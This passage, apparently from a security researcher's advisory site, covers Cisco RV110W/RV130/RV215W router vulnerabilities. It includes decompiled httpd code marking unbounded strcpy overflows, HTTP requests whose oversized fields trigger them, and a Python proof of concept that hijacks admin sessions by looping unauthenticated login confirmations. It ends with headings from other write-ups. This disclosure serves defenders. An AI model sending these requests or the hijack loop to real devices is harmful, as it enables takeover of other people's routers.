    if (ipsec_endpoint_type == (char *)0x0) {
        ipsec_endpoint_type = "";
        ipsec_endpoint_value = (char *)get_cgi_param("ipsec_endpoint_value");
    }
    else {
        ipsec_endpoint_value = (char *)get_cgi_param("ipsec_endpoint_value");
    }
    if (ipsec_endpoint_value == (char *)0x0) {
        ipsec_endpoint_value = "";
    }
    ipsec_netbios = (char *)get_cgi_param("ipsec_netbios");
    if (ipsec_netbios == (char *)0x0) {
        ipsec_netbios = "";
        ipsec_local_type = (char *)get_cgi_param("ipsec_local_type");
    }
    else {
        ipsec_local_type = (char *)get_cgi_param("ipsec_local_type");
    }
    if (ipsec_local_type == (char *)0x0) {
        ipsec_local_type = "";
        ipsec_local_start = (char *)get_cgi_param("ipsec_local_start");
    }
    else {
        ipsec_local_start = (char *)get_cgi_param("ipsec_local_start");
    }
    if (ipsec_local_start == (char *)0x0) {
        ipsec_local_start = "";
        ipsec_local_subnet = (char *)get_cgi_param("ipsec_local_subnet");
    }
    else {
        ipsec_local_subnet = (char *)get_cgi_param("ipsec_local_subnet");
    }
    if (ipsec_local_subnet == (char *)0x0) {
        ipsec_local_subnet = "";
        ipsec_remote_type = (char *)get_cgi_param("ipsec_remote_type");
    }
    else {
        ipsec_remote_type = (char *)get_cgi_param("ipsec_remote_type");
    }
    if (ipsec_remote_type == (char *)0x0) {
        ipsec_remote_type = "";
        ipsec_remote_start = (char *)get_cgi_param("ipsec_remote_start");
    }
    else {
        ipsec_remote_start = (char *)get_cgi_param("ipsec_remote_start");
    }
    if (ipsec_remote_start == (char *)0x0) {
        ipsec_remote_start = "";
        ipsec_remote_subnet = (char *)get_cgi_param("ipsec_remote_subnet");
    }
    else {
        ipsec_remote_subnet = (char *)get_cgi_param("ipsec_remote_subnet");
    }
    if (ipsec_remote_subnet == (char *)0x0) {
        ipsec_remote_subnet = "";
        ipsec_spi_income = (char *)get_cgi_param("ipsec_spi_income");
    }
    else {
        ipsec_spi_income = (char *)get_cgi_param("ipsec_spi_income");
    }
    if (ipsec_spi_income == (char *)0x0) {
        ipsec_spi_income = "";
        ipsec_spi_outgo = (char *)get_cgi_param("ipsec_spi_outgo");
    }
    else {
        ipsec_spi_outgo = (char *)get_cgi_param("ipsec_spi_outgo");
    }
    if (ipsec_spi_outgo == (char *)0x0) {
        ipsec_spi_outgo = "";
        manual_ipsec_enc = (char *)get_cgi_param("manual_ipsec_enc");
    }
    else {
        manual_ipsec_enc = (char *)get_cgi_param("manual_ipsec_enc");
    }
    if (manual_ipsec_enc == (char *)0x0) {
        manual_ipsec_enc = "";
        ipsec_enc_keyin = (char *)get_cgi_param("ipsec_enc_keyin");
    }
    else {
        ipsec_enc_keyin = (char *)get_cgi_param("ipsec_enc_keyin");
    }
    if (ipsec_enc_keyin == (char *)0x0) {
        ipsec_enc_keyin = "";
        ipsec_enc_keyout = (char *)get_cgi_param("ipsec_enc_keyout");
    }
    else {
        ipsec_enc_keyout = (char *)get_cgi_param("ipsec_enc_keyout");
    }
    if (ipsec_enc_keyout == (char *)0x0) {
        ipsec_enc_keyout = "";
        manual_ipsec_int = (char *)get_cgi_param("manual_ipsec_int");
    }
    else {
        manual_ipsec_int = (char *)get_cgi_param("manual_ipsec_int");
    }
    if (manual_ipsec_int == (char *)0x0) {
        manual_ipsec_int = "";
        ipsec_int_keyin = (char *)get_cgi_param("ipsec_int_keyin");
    }
    else {
        ipsec_int_keyin = (char *)get_cgi_param("ipsec_int_keyin");
    }
    if (ipsec_int_keyin == (char *)0x0) {
        ipsec_int_keyin = "";
        ipsec_key_keyout = (char *)get_cgi_param("ipsec_int_keyout");
    }
    else {
        ipsec_key_keyout = (char *)get_cgi_param("ipsec_int_keyout");
    }
    if (ipsec_key_keyout == (char *)0x0) {
        ipsec_key_keyout = "";
        ipsec_sa_lifetime = (char *)get_cgi_param("ipsec_sa_lifetime");
    }
    else {
        ipsec_sa_lifetime = (char *)get_cgi_param("ipsec_sa_lifetime");
    }
    if (ipsec_sa_lifetime == (char *)0x0) {
        ipsec_sa_lifetime = "";
        auto_ipsec_enc = (char *)get_cgi_param("auto_ipsec_enc");
    }
    else {
        auto_ipsec_enc = (char *)get_cgi_param("auto_ipsec_enc");
    }
    if (auto_ipsec_enc == (char *)0x0) {
        auto_ipsec_enc = "";
        auto_ipsec_int = (char *)get_cgi_param("auto_ipsec_int");
    }
    else {
        auto_ipsec_int = (char *)get_cgi_param("auto_ipsec_int");
    }
    if (auto_ipsec_int == (char *)0x0) {
        auto_ipsec_int = "";
        ipsec_pfs_enable = (char *)get_cgi_param("ipsec_pfs_enable");
    }
    else {
        ipsec_pfs_enable = (char *)get_cgi_param("ipsec_pfs_enable");
    }
    if (ipsec_pfs_enable == (char *)0x0) {
        ipsec_pfs_enable = "dis";
        ipsec_pfs_group = (char *)get_cgi_param("ipsec_pfs_group");
    }
    else {
        ipsec_pfs_group = (char *)get_cgi_param("ipsec_pfs_group");
    }
    if (ipsec_pfs_group == (char *)0x0) {
        ipsec_pfs_group = "";
    }
    ipsec_ike_policy_name = (char *)get_cgi_param("ipsec_ike_policy_name");
    if (ipsec_ike_policy_name == (char *)0x0) {
        ipsec_ike_policy_name = "";
        exc_stflg = (char *)get_cgi_param(0x8fe2c);
    }
    else {
        exc_stflg = (char *)get_cgi_param(0x8fe2c);
    }
    if (exc_stflg == (char *)0x0) {
        exc_stflg = "add";
    }
    ike_selidx = (undefined2 *)get_cgi_param(0x93e90);
    if (ike_selidx == (undefined2 *)0x0) {
        ike_selidx = &DAT_00089938;
    }
    memset(acStack1224,0,0x4a0);
    edit_eq = strcmp(exc_stflg,"edit");
    if (edit_eq == 0) {
        ipsec_policy_index = atoi((char *)ike_selidx);
        iVar1 = openswan_get_ipsec_policy_by_index(ipsec_policy_index,acStack1224);
        if (iVar1 == 0) {
            return;
        }
    }
    strcpy(acStack1224,ipsec_policy_name);
    //stack buffer overflow here
    strcpy(acStack1150,ipsec_policy_type);
    //stack buffer overflow here
    strcpy(acStack1132,ipsec_endpoint_type);
    //stack buffer overflow here
    iVar1 = strcmp(ipsec_endpoint_type,(char *)&DAT_00089938);
    if (iVar1 == 0) {
        strcpy(acStack868,ipsec_endpoint_value);
        //stack buffer overflow here
    }
    else {
        strcpy(acStack1124,ipsec_endpoint_value);
        //stack buffer overflow here
    }
    netbios_off = strcmp(ipsec_netbios,"on");
    if (netbios_off == 0) {
        uStack776 = 0x31;
    }
    else {
        uStack776 = 0x30;
    }
    strcpy(acStack810,ipsec_local_type);
    //stack buffer overflow here
    strcpy(acStack808,ipsec_local_start);
    //stack buffer overflow here
    strcpy(acStack792,ipsec_local_subnet);
    //stack buffer overflow here
    strcpy(acStack844,ipsec_remote_type);
    //stack buffer overflow here
    strcpy(acStack842,ipsec_remote_start);
    //stack buffer overflow here
    strcpy(acStack826,ipsec_remote_subnet);
    //stack buffer overflow here
    strcpy(acStack852,ipsec_ike_policy_name);
    //stack buffer overflow here
    iVar1 = strcmp(ipsec_policy_type,(char *)&DAT_00089938);
    if (iVar1 == 0) {
        strcpy(acStack680,ipsec_sa_lifetime);
        //stack buffer overflow here
        strcpy(acStack768,auto_ipsec_enc);
        //stack buffer overflow here
        strcpy(acStack736,auto_ipsec_int);
        //stack buffer overflow here
        pfs_enable = strcmp(ipsec_pfs_enable,"dis");
        if (pfs_enable != 0) {
            local_2d0 = 0x31;
            strcpy(acStack712,ipsec_pfs_group);
            //stack buffer overflow here
        }
        edit_policy = strcmp(exc_stflg,"add");
    }
    else {
        strcpy(acStack664,ipsec_spi_income);
        //stack buffer overflow here
        strcpy(acStack632,ipsec_spi_outgo);
        //stack buffer overflow here
        strcpy(acStack600,manual_ipsec_enc);
        //stack buffer overflow here
        strcpy(acStack584,ipsec_enc_keyin);
        //stack buffer overflow here
        strcpy(acStack456,ipsec_enc_keyout);
        //stack buffer overflow here
        strcpy(acStack328,manual_ipsec_int);
        //stack buffer overflow here
        strcpy(acStack312,ipsec_int_keyin);
        //stack buffer overflow here
        strcpy(acStack184,ipsec_key_keyout);
        //stack buffer overflow here
        edit_policy = strcmp(exc_stflg,"add");
    }
    if (edit_policy == 0) {
        openswan_add_ipsec_policy(acStack1224);
    }
    else {
        iVar1 = strcmp(exc_stflg,"edit");
        if (iVar1 == 0) {
            iVar1 = atoi((char *)ike_selidx);
            openswan_edit_ipsec_policy(iVar1,acStack1224);
        }
    }
    return;
}

It is possible to trigger one of the stack buffer overflow above with an authenticated request such as the one below:

POST /apply.cgi;session_id=b37f0e917e54a1af0e1d7a0027d9de5d HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.1/apply.cgi;session_id=79f76000d1a3c29cef38c6dd14f25c0e
Content-Type: application/x-www-form-urlencoded
Content-Length: 1812
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

submit_button=vpn_adv_refresh&change_action=&submit_type=&gui_action=Apply&ipsec_enc=aes
128&ipsec_int=sha1&backname=&stflg=add&selidx=0&ipsec_stflg=add&ipsec_selidx=0&ike_stflg
=&ike_selidx=&next_page=vpn_adv&ipsec_policy_name=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&ipsec_policy_type=0&ipsec_en
dpoint_type=0&ipsec_endpoint_value=1.1.1.1&ipsec_local_type=0&ipsec_local_start=1.1.1.1&
ipsec_local_subnet=255.255.255.255&ipsec_remote_type=0&ipsec_remote_start=1.1.1.1&ipsec_
remote_subnet=255.255.255.255&start_auto=&ipsec_sa_lifetime=3600&auto_ipsec_enc=aes128&a
uto_ipsec_int=sha1&ipsec_ike_policy_name=1&end_auto=&webpage_end=

CVE-2020-3146 - Cisco RV130/RV130W Routers Management Interface Remote Command Execution (PPP)

Summary

Impact

A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user.

Affected Systems

RV130 Multifunction VPN Router up to version 1.0.3.51 included
RV130W Wireless-N Multifunction VPN Router up to version 1.0.3.51 included

Description

The vulnerability is due to improper validation of user-supplied data in the web-based management interface.

An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.

We identified a dangerous call to strcpy in the function at 0x0006e994 in the httpd binary (/usr/sbin/httpd in firmware rootfs).

The decompiled function looks like the pseudo-code below, comments are personal additions:

void FUN_0006e994(void)
{
    char *__s2;
    int iVar1;
    FILE *__stream;
    char acStack856 [500];
    undefined4 local_164;
    undefined4 uStack352;
    undefined4 uStack348;
    undefined4 uStack344;
    undefined local_154;
    char acStack323 [64];
    char acStack259 [67];
    undefined4 local_c0;
    undefined4 local_7c;
    undefined4 local_78;
    undefined4 local_74;
    undefined4 local_70;
    undefined2 local_2a;
    undefined2 local_28;
    undefined2 local_26;
    undefined2 local_24;
    undefined2 local_22;
    __s2 = (char *)FUN_0001d0fc("wizard_pppoe_pname"); // __s2 is the POST parameter
    "wizard_pppoe_pname"
    iVar1 = FUN_0001d0fc("ppp_passwd");
    if (iVar1 != 0 && __s2 != (char *)0x0) {
        local_2a = 0;
        local_28 = local_2a;
        local_26 = local_2a;
        local_24 = local_2a;
        local_22 = local_2a;
        memset(acStack856,0,500);
        b64_decode(iVar1,acStack856,500);
        iVar1 = nvram_get("pppoe_select_profile");
        if (iVar1 == 0) {
            memset(&local_164,0,0x138);
            get_pppoe_profile(0,&local_164);
            iVar1 = strcmp((char *)&local_164,__s2);
            if (iVar1 == 0) {
                snprintf((char *)&local_2a,10,"%d",0);
            }
            else {
                snprintf((char *)&local_2a,10,(char *)&DAT_00089938);
            }
            memset(&local_164,0,0x138);
            get_pppoe_profile(1,&local_164);
            iVar1 = strcmp((char *)&local_164,__s2);
            if (iVar1 == 0) {
                snprintf((char *)&local_2a,10,"%d",1);
            }
            else {
                snprintf((char *)&local_2a,10,(char *)&DAT_00089938);
            }
        }
        else {
            iVar1 = nvram_get("pppoe_select_profile");
            if (iVar1 == 0) {
                iVar1 = 0x8ce7c;
            }
            snprintf((char *)&local_2a,10,"%s",iVar1);
        }
        memset(&local_164,0,0x138);
        __stream = fopen("/dev/console","w");
        if (__stream != (FILE *)0x0) {
            fprintf(__stream,"\n %s(%d),
            now_idx=[%s]\n","validate_wizard_pppoe_profile",0x30,&local_2a);
            fclose(__stream);
        }
        local_164 = 0x617a6977;
        uStack352 = 0x705f6472;
        uStack348 = 0x69666f72;
        uStack344 = 0x315f656c;
        local_154 = 0;
        strcpy(acStack323,__s2);
        // __s2 is copied into an array without bound checks,
        triggering a stack overflow
        strcpy(acStack259,acStack856);
        local_74 = 0x1e;
        local_78 = 5;
        local_c0 = 0;
        local_7c = 0;
        local_70 = 0;
        iVar1 = atoi((char *)&local_2a);
        set_pppoe_profile(iVar1,&local_164);
        nvram_set("pppoe_select_profile",&local_2a);
    }
    return;
}

It is possible to trigger one of the stack buffer overflow above with an authenticated request such as the one below:

POST /apply.cgi;session_id=b37f0e917e54a1af0e1d7a0027d9de5d HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.1/apply.cgi;session_id=79f76000d1a3c29cef38c6dd14f25c0e
Content-Type: application/x-www-form-urlencoded
Content-Length: 1812
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

submit_button=wan&change_action=&submit_type=&ppp_passwd=dGVzdA==&wizard_pppoe_pname=AAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&gui_action=Apply&pppoe_select
_profile=0&wait_time=20&chg_flg=0wantag_enable=0&lan_ipaddr=192.168.1.1&wan_proto=pppoe&
ppp_demand=&_pppoe_select_profile=0&mtu_enable=0&webpage_end=

CVE-2020-3144 - Cisco RV110W/RV130/RV130/RV215W Routers Authentication Bypass

Summary

A vulnerability in the web-based management interface of the Cisco RV110W/RV130W/RV215W Wireless-N Multifunction VPN Routers could allow an unauthenticated, remote attacker to gain unauthorized access to the web-based management interface.

Impact

An unauthenticated user can gain unauthorized access to the router’s web-based management interface.

Affected Systems

RV110W Wireless-N Multifunction VPN Router up to version 1.2.2.4 included
RV130 Multifunction VPN Router up to version 1.0.3.51 included
RV130W Wireless-N Multifunction VPN Router up to version 1.0.3.51 included
RV215W Wireless-N Multifunction VPN Router up to version 1.3.1.4 included

Description

When an administrator logs into the device administrative interface and that a session is already opened, the UI displays a message asking if the user wants to disconnects the already opened session. When the admin clicks “OK”, the following request is sent:

POST /login.cgi HTTP/1.1
Host: 192.168.1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1812
Connection: close
submit_button=login&submit_type=continue&gui_action=gozilla_cgi

The server then proceeds and provides a valid session to the end user.

A malicious attacker can take advantage of the fact that the confirmation requests is neither authenticated nor bound to the legitimate administrator’s source IP to hijack its session.

By constantly sending confirmation requests in a loop, if a request happens to be received between an administrator authentication request and authentication confirmation, the attacker will successfully hijack that session.

The Python script below is a proof of concept demonstrating the issue. Run it in the background and try to authenticate twice on the device’s web administration interface to see how the session is successfully hijacked.

#!/usr/bin/env python
import requests
from time import sleep
import re
payload = {
    "submit_button":"login",
    "submit_type":"continue",
    "gui_action":"gozila_cgi",
}
while True:
    try:
        resp = requests.post(
            "https://192.168.1.1/login.cgi",
            data=payload,
            verify=False
        )
        if "Login Page" in resp.content:
            sleep(1)
        else:
            sessionid = re.findall(r"session_id=([^\"]+)", resp.content)[0]
            print("[+] Successfully hijacked admin session. Session id is
            {}".format(sessionid))
            break
    except KeyboardInterrupt as e:
        break

QTNKSR

Rooting the TP-Link Tapo C200 Rev.5

Storage Dumping

Reversing Filesystem Encryption

Firmware Modding

Conclusion

So Many Ways to Own Dell EMC Networker

Coordinated Disclosure Timeline

Command Injection to RCE with nsrdump

Summary

Impact

Affected Products

Description

Investigating Command Injections

Finding the right candidate: nsrdump

Validating on AWS

Validating on Windows

Arbitrary File Read to RCE with nsrarchive, nsrpolicy, nsr_render_log

Summary

Impact

Affected Products

Description

Pivoting from Information Leak to RCE

Erlang Port Mapper Daemon

Erlang Cookie

A note on exploitability

Arbitrary File Read with nsr_render_log

Impact

Affected Products

Description

Recommendations to Networker Administrators

Recommendations to Dell

References

PoC||GTFO

A Clockwork Orange - Remotely Compromising Orange Belgium Cable Modems

Coordinated Disclosure Timeline

Introduction

Firmware Extraction

Accessing Console Port (UART)

Firmware Dump with bcm2utils

Bypassing Disabled Console Prompt

Firmware Analysis

ProgramStore Extraction

Loading Firmware with Reverse Engineering Tools

Findings

Stack Buffer Overflows

Heap Buffer Overflows

Remote Exploitation

Conclusion

Side Note on Compal

Proof-of-Concepts

Dell EMC Networker - oldauth is not auth !

EMC Networker Authentication Primer

oldauth Authentication Mechanism

Live Patching RPC Requests (Linux Server)

Live Patching RPC Requests (Windows Server)

nsrauth Authentication Mechanism

A difficult security baseline

Conclusion

References

VOOdoo - Remotely Compromising VOO Cable Modems

Introduction

Firmware Extraction

Accessing console port (UART)

Firmware dump with bcm2-utils

Firmware Analysis

ProgramStore Extraction

Loading the firmware in Radare2

Loading the firmware in Ghidra

Identifying function patterns

MD5 functions

String manipulation functions

Findings

Insecure WPA2 PSK Generation

Reversing the SSID generator

Reversing the WPA PSK generator

Exploiting Weak PSK

Weak Default Credentials

Buffer Overflow

Remote Exploitation